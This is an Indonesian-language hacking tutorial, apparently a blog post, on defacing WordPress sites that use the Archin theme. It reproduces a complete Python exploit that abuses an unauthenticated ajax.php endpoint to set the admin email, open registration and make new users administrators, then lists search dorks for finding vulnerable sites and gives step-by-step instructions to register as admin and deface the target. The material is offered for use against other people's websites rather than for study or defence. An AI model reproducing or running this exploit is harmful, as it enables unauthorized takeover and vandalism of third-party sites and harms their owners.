Cara Deface Dengan Achin Wordpress

YeyeyeLalaalaala Wkwkwk Hey Ketemu Saya Lagi Broo Nihh Ane Mau Nunjukin Deface Dengan Teknik Archin Oke Langsung Saja Om Ke TKP

BAHAN:

-Kopi

-Camilan 

-python (Gk Punya Python Download Di Google Om )

Gw Anggap Lo Sudh Punya Python Langsung Saja Install python

# Exploit Title: Archin WordPress Theme Unauthenticated Configuration Access
# Date: Sept 29, 2012
# Exploit Author: bwall (@bwallHatesTwits)
# Vendor Homepage: http://themeforest.net/user/wptitans
# Software Link: http://themeforest.net/item/archin-premium-wordpress-business-theme/239432
# Version: 3.2
# Tested on: Ubuntu
import httplib, urllib

#target site
site = "Targetnya Broo"
#path to ajax.php
url = "/wp-content/themes/GantiDengantema/hades_framework/option_panel/ajax.php"

def ChangeOption(site, url, option_name, option_value):
    params = urllib.urlencode({'action': 'save', 'values[0][name]': option_name, 'values[0][value]': option_value})
    headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
    conn = httplib.HTTPConnection(site)
    conn.request("POST", url, params, headers)
    response = conn.getresponse()
    print response.status, response.reason
    data = response.read()
    print data
    conn.close()
    
ChangeOption(site, url, "admin_email", "emailmu")
ChangeOption(site, url, "users_can_register", "1")
ChangeOption(site, url, "default_role", "administrator")
print "Now register a new user, they are an administrator by default!"

save filenya dengan berekstensi .py Inget .py Jgn Yg Laen Wkwkwk
lalu cari target website dengan mengunakan dork berikut :

DORK:
/wp-content/themes/*/hades_framework/ 
 /wp-content/themes/felici/hades_framework/ 
 /wp-content/themes/averin/hades_framework/ 
 /wp-content/themes/shotzz/hades_framework/
 /wp-content/themes/KLR/hades_framework/
 /wp-content/themes/yvora/hades_framework/
 /wp-content/themes/ratius/hades_framework/
 /wp-content/themes/dagda/hades_framework/ 
 /wp-content/themes/shopsum/hades_framework/
 /wp-content/themes/ultrici/hades_framework/
 /wp-content/themes/bizniz/hades_framework/
 /wp-content/themes/appius/hades_framework/ 
 /wp-content/themes/majestics/hades_framework/
 /wp-content/themes/candy/hades_framework/
 /wp-content/themes/vithy/hades_framework/ 
 /wp-content/themes/sodales/hades_framework/

Cari Targetnya Broo Dengan Dork Di Atas



Lalu Coba Buka Misalnya Saya Tadi Pakek Dork /wp-content/themes/yvora/hades_framework/ 
Berarti Ntar Cek Sitenya Vuln Atau Tdk Dengan Cara http://site/wp-content/themes/yvora/hades_framework/option_panel/ajax.php/

Jika Target Tersebut Blnk/Kosong Berarti Web Berikut Vuln

Setelah Itu Buka Start ~> run ~> cmd

ketik "D:" (karena script yg diatas saya letakkan di local disk D)
ketik lagi "filenya.py" dan pencet enter. sehingga menjadi seperti ini :



Jika Sudah Seperti Itu Tandanya Berhasil Tinggal Register Dehh
http:/site.com/wp-login.php



Jika Sudah Registrasi Password Akan Terkirim Ke Email Tadi Cek Email Kamu Broo



Kalo Sudah Terserah Dehh Lo Apain Webnya Tapi Jgn Tebas Index.phpnya Index.phpnya Rename Aja Ganti Dengn Index.html Hargai Karya Orang

NB : Kami Tdk Bertanggung Jawab Atas Segala Hall Yg Anda Lalukan

Content By : ./Mr.X